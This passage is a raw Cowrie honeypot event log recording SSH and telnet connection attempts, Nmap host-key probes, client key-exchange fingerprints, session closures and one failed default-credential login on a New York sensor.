{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:36.483580Z","src_ip":"198.58.117.211","session":"c6d390d7869c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"b4b8ae3d7241d2c1dc54b4df7e8c19d1","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: b4b8ae3d7241d2c1dc54b4df7e8c19d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:36.486857Z","src_ip":"198.58.117.211","session":"26862665ff76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"1.235.192.214","src_port":53296,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd76babec23f","protocol":"ssh","message":"New connection: 1.235.192.214:53296 (10.17.0.5:22) [session: cd76babec23f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:37.320464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:37.325310Z","src_ip":"1.235.192.214","session":"cd76babec23f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:37.424036Z","src_ip":"198.58.117.211","session":"26862665ff76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":2.2723581790924072,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:37.470391Z","src_ip":"198.58.117.211","session":"d3f27f09faee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.79760384559631,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:37.502983Z","src_ip":"64.227.9.242","session":"696902692a5a","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:37.509216Z","src_ip":"1.235.192.214","session":"cd76babec23f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Pass123","message":"login attempt [ubuntu/Pass123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:38.248838Z","src_ip":"1.235.192.214","session":"cd76babec23f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:38.521898Z","src_ip":"198.58.117.211","session":"fac17e9242de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:39.431485Z","src_ip":"1.235.192.214","session":"cd76babec23f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":58456,"dst_ip":"159.203.135.109","dst_port":23,"session":"578e931dcd9a","protocol":"telnet","message":"New connection: 64.227.9.242:58456 (159.203.135.109:23) [session: 578e931dcd9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:41.059901Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56828,"dst_ip":"10.17.0.5","dst_port":23,"session":"47ff933f7b3c","protocol":"telnet","message":"New connection: 188.208.141.113:56828 (10.17.0.5:23) [session: 47ff933f7b3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:41.924814Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":60862,"dst_ip":"159.203.135.109","dst_port":23,"session":"9166faf43505","protocol":"telnet","message":"New connection: 64.227.9.242:60862 (159.203.135.109:23) [session: 9166faf43505]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:41.969497Z"}
{"eventid":"cowrie.session.closed","duration":38.29654836654663,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:42.419399Z","src_ip":"64.227.9.242","session":"5e0c4bc90935","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":38880,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ed856c0f614","protocol":"telnet","message":"New connection: 64.227.9.242:38880 (159.203.135.109:23) [session: 0ed856c0f614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:47.045571Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56840,"dst_ip":"10.17.0.5","dst_port":23,"session":"db63e3ee73c8","protocol":"telnet","message":"New connection: 188.208.141.113:56840 (10.17.0.5:23) [session: db63e3ee73c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:47.306423Z"}
{"eventid":"cowrie.session.closed","duration":36.70983147621155,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:48.723958Z","src_ip":"64.227.9.242","session":"0e09ca55e891","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56856,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cdc7cd1e376","protocol":"telnet","message":"New connection: 188.208.141.113:56856 (10.17.0.5:23) [session: 4cdc7cd1e376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:49.945404Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":43978,"dst_ip":"10.17.0.5","dst_port":22,"session":"d05688696da3","protocol":"ssh","message":"New connection: 198.58.117.211:43978 (10.17.0.5:22) [session: d05688696da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:50.897637Z"}
{"eventid":"cowrie.client.version","version":"SSH-1.5-Nmap-SSH1-Hostkey","message":"Remote SSH version: SSH-1.5-Nmap-SSH1-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:50.957145Z","src_ip":"198.58.117.211","session":"d05688696da3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:50.966060Z","src_ip":"198.58.117.211","session":"d05688696da3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":43982,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad675e8b743e","protocol":"ssh","message":"New connection: 198.58.117.211:43982 (10.17.0.5:22) [session: ad675e8b743e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:51.146152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:51.206398Z","src_ip":"198.58.117.211","session":"ad675e8b743e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34760,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac85b2a862b7","protocol":"telnet","message":"New connection: 188.208.141.113:34760 (10.17.0.5:23) [session: ac85b2a862b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:51.248417Z"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-dss"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:51.255866Z","src_ip":"198.58.117.211","session":"ad675e8b743e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:51.260745Z","src_ip":"198.58.117.211","session":"ad675e8b743e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":43996,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec919aa1e31b","protocol":"ssh","message":"New connection: 198.58.117.211:43996 (10.17.0.5:22) [session: ec919aa1e31b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:51.397038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:51.460838Z","src_ip":"198.58.117.211","session":"ec919aa1e31b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:51.512191Z","src_ip":"198.58.117.211","session":"ec919aa1e31b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:51.738420Z","src_ip":"198.58.117.211","session":"ec919aa1e31b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":44002,"dst_ip":"10.17.0.5","dst_port":22,"session":"70a85c40145d","protocol":"ssh","message":"New connection: 198.58.117.211:44002 (10.17.0.5:22) [session: 70a85c40145d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:51.779268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:51.843768Z","src_ip":"198.58.117.211","session":"70a85c40145d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp256"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:51.905370Z","src_ip":"198.58.117.211","session":"70a85c40145d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:52.099046Z","src_ip":"198.58.117.211","session":"70a85c40145d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":44004,"dst_ip":"10.17.0.5","dst_port":22,"session":"f411f860db95","protocol":"ssh","message":"New connection: 198.58.117.211:44004 (10.17.0.5:22) [session: f411f860db95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:52.140641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:52.199390Z","src_ip":"198.58.117.211","session":"f411f860db95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp384"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:52.252107Z","src_ip":"198.58.117.211","session":"f411f860db95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:52.258222Z","src_ip":"198.58.117.211","session":"f411f860db95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":44024,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0680bbfbfbd","protocol":"ssh","message":"New connection: 198.58.117.211:44024 (10.17.0.5:22) [session: b0680bbfbfbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:52.389466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:52.449533Z","src_ip":"198.58.117.211","session":"b0680bbfbfbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp521"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:52.499383Z","src_ip":"198.58.117.211","session":"b0680bbfbfbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:52.504932Z","src_ip":"198.58.117.211","session":"b0680bbfbfbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.58.117.211","src_port":44044,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0b57369d4b4","protocol":"ssh","message":"New connection: 198.58.117.211:44044 (10.17.0.5:22) [session: f0b57369d4b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:52.636403Z"}
{"eventid":"cowrie.session.closed","duration":35.88960146903992,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:52.642499Z","src_ip":"64.227.9.242","session":"9e1f7ea999fa","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:52.697442Z","src_ip":"198.58.117.211","session":"f0b57369d4b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-ed25519"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:52.747024Z","src_ip":"198.58.117.211","session":"f0b57369d4b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:52.947201Z","src_ip":"198.58.117.211","session":"f0b57369d4b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.28665494918823,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:53.725696Z","src_ip":"64.227.9.242","session":"b469def67cb6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.428849697113037,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:53.735170Z","src_ip":"188.208.141.113","session":"db63e3ee73c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.171.213","src_port":57852,"dst_ip":"10.17.0.5","dst_port":22,"session":"53065cb534e7","protocol":"ssh","message":"New connection: 152.32.171.213:57852 (10.17.0.5:22) [session: 53065cb534e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:55.214144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:18:55.218584Z","src_ip":"152.32.171.213","session":"53065cb534e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 